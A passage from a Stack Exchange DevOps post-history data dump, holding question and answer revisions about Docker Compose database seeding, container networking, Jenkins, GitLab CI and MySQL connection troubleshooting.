of things I've tried that aren't working):&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;version: &quot;3.7&quot;&#xD;&#xA;&#xD;&#xA;services:&#xD;&#xA;&#xD;&#xA;  github_repo_clone:&#xD;&#xA;#    image: alpine:latest&#xD;&#xA;    image: debian:latest&#xD;&#xA;    container_name: github_repo_clone&#xD;&#xA;    networks: &#xD;&#xA;      static-network:&#xD;&#xA;        ipv4_address: 172.20.0.254&#xD;&#xA;&#xD;&#xA;    command: bash -c &quot;&#xD;&#xA;        apt-get update &amp;&amp; &#xD;&#xA;        apt-get install git -y &amp;&amp;&#xD;&#xA;        rm -rf ghrepo-demo_test001 &amp;&amp;&#xD;&#xA;        git clone https://github.com/ghrepo/ghrepo-demo_test001.git &amp;&amp;&#xD;&#xA;        rm -rf /var/www/vhosts/dmrcl/exampletestsite.com &amp;&amp;&#xD;&#xA;        mkdir -p /var/www/vhosts/dmrcl/exampletestsite.com &amp;&amp;&#xD;&#xA;        cp -rapv ghrepo-demo_test001/* /var/www/vhosts/dmrcl/exampletestsite.com &amp;&amp;&#xD;&#xA;        rm -rf ghrepo-demo_test001 &amp;&amp;&#xD;&#xA;        tail -f /dev/null&#xD;&#xA;      &quot;&#xD;&#xA;&#xD;&#xA;    volumes:&#xD;&#xA;     - app-vhosts:/var/www/vhosts&#xD;&#xA;&#xD;&#xA;  mariadb:&#xD;&#xA;    restart: always&#xD;&#xA;    image: mariadb:latest&#xD;&#xA;    container_name: mariadb-build-demo0&#xD;&#xA;    ports:&#xD;&#xA;     - &quot;3306:3306&quot;&#xD;&#xA;    networks:&#xD;&#xA;      static-network:&#xD;&#xA;        ipv4_address: 172.20.0.10&#xD;&#xA;    environment:&#xD;&#xA;     - MYSQL_ROOT_PASSWORD=root&#xD;&#xA;     - MYSQL_USER=usernamegoeshere&#xD;&#xA;     - MYSQL_PASSWORD=@p@$$w0rd&#xD;&#xA;     - MYSQL_DATABASE=dbnamegoeshere&#xD;&#xA;########## volumes&#xD;&#xA;    volumes:&#xD;&#xA;     - app-vhosts:/var/www/vhosts&#xD;&#xA;&#xD;&#xA;#why would docker assume a directory for the mysqldump file??      &#xD;&#xA;#     - /var/www/vhosts/dmrcl/exampletestsite.com/sql:/docker-entrypoint-initdb.d&#xD;&#xA;#     - /var/www/vhosts/dmrcl/exampletestsite.com/sql/mysqldumpfile.sql:/docker-entrypoint-initdb.d&#xD;&#xA;     - /var/www/vhosts/dmrcl/exampletestsite.com/sql/mysqldumpfile.sql:/docker-entrypoint-initdb.d/mysqldumpfile.sql&#xD;&#xA;&#xD;&#xA;    depends_on:&#xD;&#xA;     - &quot;github_repo_clone&quot;&#xD;&#xA;&#xD;&#xA;volumes:&#xD;&#xA;  app-vhosts:&#xD;&#xA;  apache2-conf:&#xD;&#xA;  nginx-conf:&#xD;&#xA;  db-conf:&#xD;&#xA;&#xD;&#xA;networks:&#xD;&#xA;  static-network:&#xD;&#xA;    driver: bridge&#xD;&#xA;    ipam:&#xD;&#xA;      driver: default&#xD;&#xA;      config:&#xD;&#xA;       - subnet: 172.20.0.0/16&#xD;&#xA;&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="38180" PostHistoryTypeId="5" PostId="12437" RevisionGUID="34cf82e2-b411-4787-987a-5d4edb91cb7d" CreationDate="2020-09-18T15:19:53.187" UserId="9877" Comment="clarity" Text="I'm dabbling with creating an application that can be built from a single docker-compose.yml file &quot;on the fly&quot; in any Docker / `docker-compose` enabled machine (most likely for QA, UAT or Development purposes). Building the rest of the application out will include web servers, etc. &#xD;&#xA;&#xD;&#xA;As a POC, I am using a super simple public GitHub repo to experiment with pulling a (semi) functional clone from that contains a very basic MySQL compatible database from a mysqldump. The mysqldump from a dev test environment (scrubbed) is included in the repo under a subdirectory like `repo_root/sql/mysqldumpfile.sql`&#xD;&#xA;&#xD;&#xA;The GOALS: &#xD;&#xA; - Build a MariaDB docker image that starts up on `docker-compose up -d --build` and is populated with the data from the `repo_root/sql/mysqldumpfile.sql` that gets cloned in an intermediate container and then copied/moved to a named volume.&#xD;&#xA; - That named volume is referenced in my MariaDB container (with users and networking all pre-configured as well). &#xD;&#xA; - Since many of the &quot;end-users&quot; of this docker-compose.yml file are NOT expected to be very tech-savvy, I want that all to happen on ONE RUN, and ONE COMMAND ==&gt; `docker-compose up -d --build` &lt;== if possible.&#xD;&#xA; - SUPER MEGA BONUS: I'm also trying to avoid having to use a separate Dockerfile for this, also. I'd like to be able to &quot;ship&quot; with docker-compose.yml by itself and have it populate DB with the MySQLdumpfile.sql, but at this point I'm not sure if it's going to work consistently without one.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Perhaps I'm doing something fundamentally wrong? Maybe I have a complete misunderstanding of how this goal is done? &#xD;&#xA;&#xD;&#xA;I have managed to populate the DB on --build before, but as I continued to tweak the entire application build, somewhere along the way I goofed something up and have not been able to prepopulate the DB again.&#xD;&#xA;&#xD;&#xA;Maybe I accidentally threw off the timing of the build process somehow? &#xD;&#xA;&#xD;&#xA;- eg the MySQL build happens before the mysqldumpfile.sql that I want to initialize the DB with pre-populated data doesn't get copied/moved until it's too late and the MariaDB container is already done building?&#xD;&#xA;&#xD;&#xA;Perhaps it's the way I was mounting the volumes? Maybe I have some kind of container linking issue?&#xD;&#xA; - Note: when I `docker exec -it mariadb-build-demo bash` into the MariaDB container, the mysqldumpfile.sql is exactly where I want it to be, but it's not prepopulating the DB with its contents. I've tried a variety of things to get this accomplished and none of them are working (or provide the consistent results I need).&#xD;&#xA;&#xD;&#xA;I've been banging my head on this one for a day or so, I have plenty of other workarounds to add to the necessary commands to populate the DB, but I'm almost certain there is a way to get this done by only using `docker-compose` and that I'm pretty close... so I'm willing to subject myself to snarky Perl-developer-esque commentary on my N00bn3$$ for the knowledge transfer. ;) &#xD;&#xA;&#xD;&#xA;Here is the current docker-compose.yml I'm working with (comments are left in here on purpose for context of things I've tried that aren't working):&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;version: &quot;3.7&quot;&#xD;&#xA;&#xD;&#xA;services:&#xD;&#xA;&#xD;&#xA;  github_repo_clone:&#xD;&#xA;#    image: alpine:latest&#xD;&#xA;    image: debian:latest&#xD;&#xA;    container_name: github_repo_clone&#xD;&#xA;    networks: &#xD;&#xA;      static-network:&#xD;&#xA;        ipv4_address: 172.20.0.254&#xD;&#xA;&#xD;&#xA;    command: bash -c &quot;&#xD;&#xA;        apt-get update &amp;&amp; &#xD;&#xA;        apt-get install git -y &amp;&amp;&#xD;&#xA;        rm -rf ghrepo-demo_test001 &amp;&amp;&#xD;&#xA;        git clone https://github.com/ghrepo/ghrepo-demo_test001.git &amp;&amp;&#xD;&#xA;        rm -rf /var/www/vhosts/dmrcl/exampletestsite.com &amp;&amp;&#xD;&#xA;        mkdir -p /var/www/vhosts/dmrcl/exampletestsite.com &amp;&amp;&#xD;&#xA;        cp -rapv ghrepo-demo_test001/* /var/www/vhosts/dmrcl/exampletestsite.com &amp;&amp;&#xD;&#xA;        rm -rf ghrepo-demo_test001 &amp;&amp;&#xD;&#xA;        tail -f /dev/null&#xD;&#xA;      &quot;&#xD;&#xA;&#xD;&#xA;    volumes:&#xD;&#xA;     - app-vhosts:/var/www/vhosts&#xD;&#xA;&#xD;&#xA;  mariadb:&#xD;&#xA;    restart: always&#xD;&#xA;    image: mariadb:latest&#xD;&#xA;    container_name: mariadb-build-demo0&#xD;&#xA;    ports:&#xD;&#xA;     - &quot;3306:3306&quot;&#xD;&#xA;    networks:&#xD;&#xA;      static-network:&#xD;&#xA;        ipv4_address: 172.20.0.10&#xD;&#xA;    environment:&#xD;&#xA;     - MYSQL_ROOT_PASSWORD=root&#xD;&#xA;     - MYSQL_USER=usernamegoeshere&#xD;&#xA;     - MYSQL_PASSWORD=@p@$$w0rd&#xD;&#xA;     - MYSQL_DATABASE=dbnamegoeshere&#xD;&#xA;########## volumes&#xD;&#xA;    volumes:&#xD;&#xA;     - app-vhosts:/var/www/vhosts&#xD;&#xA;&#xD;&#xA;#why would docker assume a directory for the mysqldump file??      &#xD;&#xA;#     - /var/www/vhosts/dmrcl/exampletestsite.com/sql:/docker-entrypoint-initdb.d&#xD;&#xA;#     - /var/www/vhosts/dmrcl/exampletestsite.com/sql/mysqldumpfile.sql:/docker-entrypoint-initdb.d&#xD;&#xA;     - /var/www/vhosts/dmrcl/exampletestsite.com/sql/mysqldumpfile.sql:/docker-entrypoint-initdb.d/mysqldumpfile.sql&#xD;&#xA;&#xD;&#xA;    depends_on:&#xD;&#xA;     - &quot;github_repo_clone&quot;&#xD;&#xA;&#xD;&#xA;volumes:&#xD;&#xA;  app-vhosts:&#xD;&#xA;&#xD;&#xA;networks:&#xD;&#xA;  static-network:&#xD;&#xA;    driver: bridge&#xD;&#xA;    ipam:&#xD;&#xA;      driver: default&#xD;&#xA;      config:&#xD;&#xA;       - subnet: 172.20.0.0/16&#xD;&#xA;&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="38181" PostHistoryTypeId="2" PostId="12438" RevisionGUID="ba59b021-dac7-4639-afc9-dcd8425ba12f" CreationDate="2020-09-18T16:55:37.713" UserId="24017" Text="Adjust Jenkins job &quot;Build Environment&quot;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;see [https://stackoverflow.com/questions/39829229/how-to-use-exclude-folder-option-in-delete-workspace-before-build-starts-secti/41728663][2]&#xD;&#xA;&#xD;&#xA;also add build step with shell/windows script with&#xD;&#xA;&#xD;&#xA;    npm install&#xD;&#xA;    npm install -D&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/m83pi.png&#xD;&#xA;  [2]: https://stackoverflow.com/questions/39829229/how-to-use-exclude-folder-option-in-delete-workspace-before-build-starts-secti/41728663" ContentLicense="CC BY-SA 4.0" />
  <row Id="38182" PostHistoryTypeId="5" PostId="12438" RevisionGUID="2130eeef-f4af-418a-ad27-1f465c97f619" CreationDate="2020-09-18T20:26:26.087" UserId="24017" Comment="deleted 13 characters in body" Text="Adjust Jenkins job &quot;Build Environment&quot;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;see [https://stackoverflow.com/questions/39829229/how-to-use-exclude-folder-option-in-delete-workspace-before-build-starts-secti/41728663][2]&#xD;&#xA;&#xD;&#xA;also add build step with shell/windows script with&#xD;&#xA;    &#xD;&#xA;    npm install -D&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/m83pi.png&#xD;&#xA;  [2]: https://stackoverflow.com/questions/39829229/how-to-use-exclude-folder-option-in-delete-workspace-before-build-starts-secti/41728663" ContentLicense="CC BY-SA 4.0" />
  <row Id="38183" PostHistoryTypeId="5" PostId="12433" RevisionGUID="cb945097-a746-4d88-af71-0254f977768d" CreationDate="2020-09-18T20:37:31.720" UserId="23998" Comment="Added `depends_on`, still doesn't work. " Text="According to the [Docker Compose Docs: Networking](https://docs.docker.com/compose/networking/): &#xD;&#xA;&#xD;&#xA;&gt; By default Compose sets up a single [network](https://docs.docker.com/engine/reference/commandline/network_create/) for your app. Each container for a service joins the default network and is both *reachable* by other containers on that network, and *discoverable* by them at a hostname identical to the container name. &#xD;&#xA;&gt; &#xD;&#xA;&gt; For example, suppose your app is in a directory called `myapp`, and your `docker-compose.yml` looks like this:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     version: &quot;3&quot;&#xD;&#xA;&gt;     services:&#xD;&#xA;&gt;       web:&#xD;&#xA;&gt;         build: .&#xD;&#xA;&gt;         ports:&#xD;&#xA;&gt;           - &quot;8000:8000&quot;&#xD;&#xA;&gt;         depends_on: &#xD;&#xA;&gt;           - db&#xD;&#xA;&gt;       db:&#xD;&#xA;&gt;         image: postgres&#xD;&#xA;&gt;         ports:&#xD;&#xA;&gt;           - &quot;8001:5432&quot;&#xD;&#xA;&gt; &#xD;&#xA;&gt; When you run docker-compose up, the following happens:&#xD;&#xA;&gt; &#xD;&#xA;&gt; &#xD;&#xA;&gt;  - A network called `myapp_default` is created. &#xD;&#xA;&gt;  - A container is created using `web`’s configuration. It joins the network `myapp_default` under the name `web`. &#xD;&#xA;&gt;  - A container is created using `db`’s configuration. It joins the network `myapp_default` under the name `db`.&#xD;&#xA;&#xD;&#xA;I put that exact `docker-compose.yml` in a directory with this `Dockerfile`: &#xD;&#xA;&#xD;&#xA;    FROM alpine&#xD;&#xA;    RUN ping -c 1 db&#xD;&#xA;&#xD;&#xA;When I run `docker-compose up`, I get a connection error to the db container.  &#xD;&#xA;&#xD;&#xA;    $ docker-compose up&#xD;&#xA;    Building web&#xD;&#xA;    Step 1/2 : FROM alpine&#xD;&#xA;    latest: Pulling from library/alpine&#xD;&#xA;    df20fa9351a1: Pull complete&#xD;&#xA;    Digest: sha256:185518070891758909c9f839cf4ca393ee977ac378609f700f60a771a2dfe321&#xD;&#xA;    Status: Downloaded newer image for alpine:latest&#xD;&#xA;     ---&gt; a24bb4013296&#xD;&#xA;    Step 2/2 : RUN ping -c 1 db&#xD;&#xA;     ---&gt; Running in cf64bfcb72eb&#xD;&#xA;    ping: bad address 'db'&#xD;&#xA;    ERROR: Service 'web' failed to build : The command '/bin/sh -c ping -c 1 db' returned a non-zero code: 1&#xD;&#xA;&#xD;&#xA;If I put a node app in the Dockerfile, I can't make database connections to the db URI at `postgres://postgres:postgres@db/postgres` either.  &#xD;&#xA;&#xD;&#xA;I've tried using `links` and `depends_on` as well as the `healthcheck` for postgres advised in other SE answers.  (EDIT: Added `depends_on` to compose file).  Nothing has worked.  Why can't I connect to the `db` container?  " ContentLicense="CC BY-SA 4.0" />
  <row Id="38184" PostHistoryTypeId="2" PostId="12439" RevisionGUID="5eadc9d0-72f8-4702-adaa-1c40cff83a97" CreationDate="2020-09-18T23:45:55.990" UserId="24019" Text="I have been using kuberentes lense and noticed under the cluster settings page an optional package called &quot;user mode&quot;.  Does anybody know what this means?&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/eZE69.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="38185" PostHistoryTypeId="1" PostId="12439" RevisionGUID="5eadc9d0-72f8-4702-adaa-1c40cff83a97" CreationDate="2020-09-18T23:45:55.990" UserId="24019" Text="What are the &quot;User Mode&quot; tools in kubernetes lens?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38186" PostHistoryTypeId="3" PostId="12439" RevisionGUID="5eadc9d0-72f8-4702-adaa-1c40cff83a97" CreationDate="2020-09-18T23:45:55.990" UserId="24019" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38199" PostHistoryTypeId="50" PostId="11396" RevisionGUID="59055533-74ab-4dd4-8073-baf0e711f3f9" CreationDate="2020-09-19T12:05:55.593" UserId="-1" />
  <row Id="38200" PostHistoryTypeId="50" PostId="4639" RevisionGUID="7d81f232-a4b5-4917-8495-6bb5bdb27e53" CreationDate="2020-09-19T15:03:25.343" UserId="-1" />
  <row Id="38201" PostHistoryTypeId="50" PostId="6232" RevisionGUID="35cb2bf6-c656-43d8-981b-515b14330fa0" CreationDate="2020-09-19T19:04:05.483" UserId="-1" />
  <row Id="38202" PostHistoryTypeId="50" PostId="6337" RevisionGUID="effb83b0-03cb-428d-a91f-c92204301a90" CreationDate="2020-09-19T21:00:05.853" UserId="-1" />
  <row Id="38203" PostHistoryTypeId="50" PostId="5422" RevisionGUID="8e110a5e-6df8-4b4a-bce6-14824835a3da" CreationDate="2020-09-19T22:00:15.133" UserId="-1" />
  <row Id="38204" PostHistoryTypeId="5" PostId="12435" RevisionGUID="e66d7edb-22c4-449c-97be-788a019aeefd" CreationDate="2020-09-19T22:11:34.553" UserId="6258" Comment="Added working example for clairty " Text="The Dockerfile specifies how a container image is *built*.  The Dockerfile’s `RUN` command is trying to ping the `db` container, which is not yet running during the build phase.&#xD;&#xA;&#xD;&#xA;Once the container images have have been created, compose will start the containers and they will be able to address each other via their service names (`dB` and `web`). &#xD;&#xA;&#xD;&#xA;To accomplish what you want, an adjustment to your Dockerfile will need to be made.  Replace `RUN` with `CMD`.  This will allow the container to execute your ping command when it launches.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;FROM alpine&#xD;&#xA;CMD ping -c 1 db&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Now your `docker-compose up` will build the web image, launch the `db` container and then launch your `web` container which will successfully execute a ping:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&gt; docker-compose up&#xD;&#xA;Creating network &quot;simple_default&quot; with the default driver&#xD;&#xA;Building web&#xD;&#xA;Step 1/3 : FROM alpine&#xD;&#xA; ---&gt; a24bb4013296&#xD;&#xA;Step 2/3 : RUN echo &quot;this is 'run' during container build&quot;&#xD;&#xA; ---&gt; Running in 1e951de61656&#xD;&#xA;this is 'run' during container build&#xD;&#xA;Removing intermediate container 1e951de61656&#xD;&#xA; ---&gt; deab43cb5a94&#xD;&#xA;Step 3/3 : CMD ping -c 1 db&#xD;&#xA; ---&gt; Running in 0c210f0936fd&#xD;&#xA;Removing intermediate container 0c210f0936fd&#xD;&#xA; ---&gt; 7c0ed50ad4e8&#xD;&#xA;Successfully built 7c0ed50ad4e8&#xD;&#xA;Successfully tagged simple_web:latest&#xD;&#xA;WARNING: Image for service web was built because it did not already exist. To rebuild this image you must use `docker-compose build` or `docker-compose up --build`.&#xD;&#xA;Creating simple_db_1 ... done&#xD;&#xA;Creating simple_web_1 ... done&#xD;&#xA;Attaching to simple_db_1, simple_web_1&#xD;&#xA;... output omitted&#xD;&#xA;&#xD;&#xA;web_1  | PING db (172.19.0.2): 56 data bytes&#xD;&#xA;web_1  | 64 bytes from 172.19.0.2: seq=0 ttl=64 time=0.218 ms&#xD;&#xA;web_1  |&#xD;&#xA;web_1  | --- db ping statistics ---&#xD;&#xA;web_1  | 1 packets transmitted, 1 packets received, 0% packet loss&#xD;&#xA;web_1  | round-trip min/avg/max = 0.218/0.218/0.218 ms&#xD;&#xA;db_1   |&#xD;&#xA;db_1   | Data page checksums are disabled.&#xD;&#xA;db_1   |&#xD;&#xA;db_1   | fixing permissions on existing directory /var/lib/postgresql/data ... ok&#xD;&#xA;db_1   | creating subdirectories ... ok&#xD;&#xA;db_1   | selecting dynamic shared memory implementation ... posix&#xD;&#xA;db_1   | selecting default max_connections ... 100&#xD;&#xA;db_1   | selecting default shared_buffers ... 128MB&#xD;&#xA;db_1   | selecting default time zone ... Etc/UTC&#xD;&#xA;db_1   | creating configuration files ... ok&#xD;&#xA;db_1   | running bootstrap script ... ok&#xD;&#xA;db_1   | performing post-bootstrap initialization ... ok&#xD;&#xA;simple_web_1 exited with code 0" ContentLicense="CC BY-SA 4.0" />
  <row Id="38205" PostHistoryTypeId="2" PostId="12440" RevisionGUID="e43c2534-8736-4cc4-ae1d-984273a0554f" CreationDate="2020-09-20T07:49:46.277" UserId="23813" Text="I'm using an aws/dynamodb-local Docker container for use during local testing of my Node application and I'd like to integrate it with my Gitlab CI test job.&#xD;&#xA;&#xD;&#xA;I have made a rudimentary extension to Gitlab's Auto DevOps test job, but I'm wondering if I'm reinventing existing functionality (only worse).&#xD;&#xA;&#xD;&#xA;My question is, can Gitlab Auto DevOps provide an aws/dynamodb-local service without being customised/extended? Am I on the right track or way off?&#xD;&#xA;&#xD;&#xA;My `.gitlab-ci.yml` for example purposes&#xD;&#xA;```&#xD;&#xA;include:&#xD;&#xA;  - template: Auto-DevOps.gitlab-ci.yml&#xD;&#xA;&#xD;&#xA;test:&#xD;&#xA;  stage: test&#xD;&#xA;  image: node:alpine3.11&#xD;&#xA;  services:&#xD;&#xA;    - name: amazon/dynamodb-local:1.13.4&#xD;&#xA;      alias: dynamodb-local&#xD;&#xA;  variables:&#xD;&#xA;    DYNAMODB_LOCAL_URL: &quot;http://dynamodb-local:8000&quot;&#xD;&#xA;  script:&#xD;&#xA;    - apk add --no-cache python py-pip&#xD;&#xA;    - pip install awscli&#xD;&#xA;    - npm install&#xD;&#xA;    - npm test&#xD;&#xA;```&#xD;&#xA;AWS access key, secret access key, region variables are configured in Gitlab settings.&#xD;&#xA;&#xD;&#xA;_Edit: I should say, I'm only asking if Gitlab is able to provide this service automatically because it seems to be able to auto detect other project requirements._" ContentLicense="CC BY-SA 4.0" />
  <row Id="38206" PostHistoryTypeId="1" PostId="12440" RevisionGUID="e43c2534-8736-4cc4-ae1d-984273a0554f" CreationDate="2020-09-20T07:49:46.277" UserId="23813" Text="Can Gitlab Auto DevOps provide an aws/dynamodb-local service without being customised?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38207" PostHistoryTypeId="3" PostId="12440" RevisionGUID="e43c2534-8736-4cc4-ae1d-984273a0554f" CreationDate="2020-09-20T07:49:46.277" UserId="23813" Text="&lt;gitlab&gt;&lt;aws-cli&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38208" PostHistoryTypeId="50" PostId="8408" RevisionGUID="cf2a09df-a2bb-48ef-96c7-c8979d83c820" CreationDate="2020-09-20T14:05:45.633" UserId="-1" />
  <row Id="38209" PostHistoryTypeId="2" PostId="12441" RevisionGUID="79e58afe-26b1-4c99-af4b-eca54181237f" CreationDate="2020-09-20T16:14:28.130" UserId="23443" Text="&#xD;&#xA;&#xD;&#xA;Trying to connect to `MySQL`:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker container ls&#xD;&#xA;    CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS               NAMES&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker ps -a&#xD;&#xA;    CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS               NAMES&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker image ls&#xD;&#xA;    REPOSITORY           TAG                 IMAGE ID            CREATED             SIZE&#xD;&#xA;    basex/basexhttp      latest              3339bf6bc898        3 weeks ago         226MB&#xD;&#xA;    twilio/twilio-java   latest              611ab7ece1cf        4 weeks ago         993MB&#xD;&#xA;    mysql                latest              0d64f46acfd1        6 weeks ago         544MB&#xD;&#xA;    jetty                latest              5f997007f18d        7 weeks ago         522MB&#xD;&#xA;    jitsi/web            latest              1fad75476320        2 months ago        483MB&#xD;&#xA;    mysql/mysql-server   latest              8a3a24ad33be        2 months ago        366MB&#xD;&#xA;    hello-world          latest              bf756fb1ae65        8 months ago        13.3kB&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker run --name some-mysql -e MYSQL_ROOT_PASSWORD=my-secret-pw -d mysql:tag&#xD;&#xA;    Unable to find image 'mysql:tag' locally&#xD;&#xA;    docker: Error response from daemon: manifest for mysql:tag not found: manifest unknown: manifest unknown.&#xD;&#xA;    See 'docker run --help'.&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker run --name some-mysql -e MYSQL_ROOT_PASSWORD=my-secret-pw -d mysql&#xD;&#xA;    08cd181cf4f21a0c3c5417c38b6ce59650f6882301331dfecb58191509174a86&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker container ls&#xD;&#xA;    CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                 NAMES&#xD;&#xA;    08cd181cf4f2        mysql               &quot;docker-entrypoint.s…&quot;   7 seconds ago       Up 4 seconds        3306/tcp, 33060/tcp   some-mysql&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker exec -ti --user root some-mysql bash&#xD;&#xA;    root@08cd181cf4f2:/# &#xD;&#xA;    root@08cd181cf4f2:/# mysql -u root -pmy-secret-pw&#xD;&#xA;    mysql: [Warning] Using a password on the command line interface can be insecure.&#xD;&#xA;    ERROR 2002 (HY000): Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2)&#xD;&#xA;    root@08cd181cf4f2:/# &#xD;&#xA;    root@08cd181cf4f2:/# mysql -u root -p            &#xD;&#xA;    Enter password: &#xD;&#xA;    ERROR 2002 (HY000): Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2)&#xD;&#xA;    root@08cd181cf4f2:/# &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I'll have to read more carefully the distinction [between][1] the `MySQL` image [versus][2] `MySQL-server` and usage.&#xD;&#xA;&#xD;&#xA;That being said, why doesn't the command with `tag` work:&#xD;&#xA;&#xD;&#xA;    docker run --name some-mysql -e MYSQL_ROOT_PASSWORD=my-secret-pw -d mysql:tag&#xD;&#xA;&#xD;&#xA;and is it significant?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://hub.docker.com/_/mysql&#xD;&#xA;  [2]: https://hub.docker.com/r/mysql/mysql-server/" ContentLicense="CC BY-SA 4.0" />
  <row Id="38210" PostHistoryTypeId="1" PostId="12441" RevisionGUID="79e58afe-26b1-4c99-af4b-eca54181237f" CreationDate="2020-09-20T16:14:28.130" UserId="23443" Text="how to connect to MySQL from the MySQL command line client with docker?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38211" PostHistoryTypeId="3" PostId="12441" RevisionGUID="79e58afe-26b1-4c99-af4b-eca54181237f" CreationDate="2020-09-20T16:14:28.130" UserId="23443" Text="&lt;docker&gt;&lt;containers&gt;&lt;databases&gt;&lt;images&gt;&lt;mysql&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38212" PostHistoryTypeId="2" PostId="12442" RevisionGUID="6cbf5c58-bfc0-4483-a78e-c76df5c38ec0" CreationDate="2020-09-20T20:07:05.943" UserId="6162" Text="I have not used it, but the description in your image is understandable. It is adding RBAC (user permission) so that any user (also non-admins) can _list namespaces_ (e.g. see all namespaces that exists within the cluster).&#xD;&#xA;&#xD;&#xA;But it should not mean more than that, e.g. a user can not create a Deployment in a namespace he is not granted to." ContentLicense="CC BY-SA 4.0" />
  <row Id="38213" PostHistoryTypeId="10" PostId="12441" RevisionGUID="7fd33df1-715d-441b-b764-e2eb74c13a13" CreationDate="2020-09-20T21:17:31.990" UserId="-1" Comment="101" Text="{&quot;OriginalQuestionIds&quot;:[12317],&quot;Voters&quot;:[{&quot;Id&quot;:-1,&quot;DisplayName&quot;:&quot;Community&quot;,&quot;BindingReason&quot;:{&quot;DuplicateApprovedByAsker&quot;:&quot;&quot;}}]}" />
  <row Id="38214" PostHistoryTypeId="2" PostId="12443" RevisionGUID="23bc0206-8fa4-40a5-a127-3699091451a9" CreationDate="2020-09-20T21:19:35.693" UserId="23443" Text="Help me to understand what's happening here with regards to connecting to the database:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker ps -a&#xD;&#xA;    CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS               NAMES&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker image ls&#xD;&#xA;    REPOSITORY           TAG                 IMAGE ID            CREATED             SIZE&#xD;&#xA;    basex/basexhttp      latest              3339bf6bc898        3 weeks ago         226MB&#xD;&#xA;    twilio/twilio-java   latest              611ab7ece1cf        4 weeks ago         993MB&#xD;&#xA;    mysql                latest              0d64f46acfd1        6 weeks ago         544MB&#xD;&#xA;    jetty                latest              5f997007f18d        7 weeks ago         522MB&#xD;&#xA;    jitsi/web            latest              1fad75476320        2 months ago        483MB&#xD;&#xA;    mysql/mysql-server   latest              8a3a24ad33be        2 months ago        366MB&#xD;&#xA;    hello-world          latest              bf756fb1ae65        8 months ago        13.3kB&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker run --name mysql -p 3306:3306 -e MYSQL_ROOT_PASSWORD=password -d mysql/mysql-server:latest&#xD;&#xA;    7b119ef62a857a3b65189f9d79131513ac8d0872f9b93a3f9a507a96bf8d71d3&#xD;&#xA;    root $ &#xD;&#xA;    root $ mysql -h127.0.0.1 -ppassword -uroot&#xD;&#xA;    mysql: [Warning] Using a password on the command line interface can be insecure.&#xD;&#xA;    ERROR 2013 (HY000): Lost connection to MySQL server at 'reading initial communication packet', system error: 2&#xD;&#xA;    root $ &#xD;&#xA;    root $ mysql -h127.0.0.1 -p -uroot&#xD;&#xA;    Enter password: &#xD;&#xA;    ERROR 2013 (HY000): Lost connection to MySQL server at 'reading initial communication packet', system error: 2&#xD;&#xA;    root $ &#xD;&#xA;    root $ mysql -h127.0.0.1 -p -uroot&#xD;&#xA;    Enter password: &#xD;&#xA;    ERROR 2013 (HY000): Lost connection to MySQL server at 'reading initial communication packet', system error: 2&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker exec -ti --user root mysql bash&#xD;&#xA;    bash-4.2# &#xD;&#xA;    bash-4.2# mysql -u root -p&#xD;&#xA;    Enter password: &#xD;&#xA;    ERROR 2002 (HY000): Can't connect to local MySQL server through socket '/var/lib/mysql/mysql.sock' (2)&#xD;&#xA;    bash-4.2# &#xD;&#xA;    bash-4.2# &#xD;&#xA;    bash-4.2# &#xD;&#xA;    bash-4.2# mysql -u root -p&#xD;&#xA;    Enter password: &#xD;&#xA;    Welcome to the MySQL monitor.  Commands end with ; or \g.&#xD;&#xA;    Your MySQL connection id is 215&#xD;&#xA;    Server version: 8.0.21 MySQL Community Server - GPL&#xD;&#xA;    &#xD;&#xA;    Copyright (c) 2000, 2020, Oracle and/or its affiliates. All rights reserved.&#xD;&#xA;    &#xD;&#xA;    Oracle is a registered trademark of Oracle Corporation and/or its&#xD;&#xA;    affiliates. Other names may be trademarks of their respective&#xD;&#xA;    owners.&#xD;&#xA;    &#xD;&#xA;    Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.&#xD;&#xA;    &#xD;&#xA;    mysql&gt; &#xD;&#xA;    mysql&gt; exit&#xD;&#xA;    Bye&#xD;&#xA;    bash-4.2# exit&#xD;&#xA;    exit&#xD;&#xA;    root 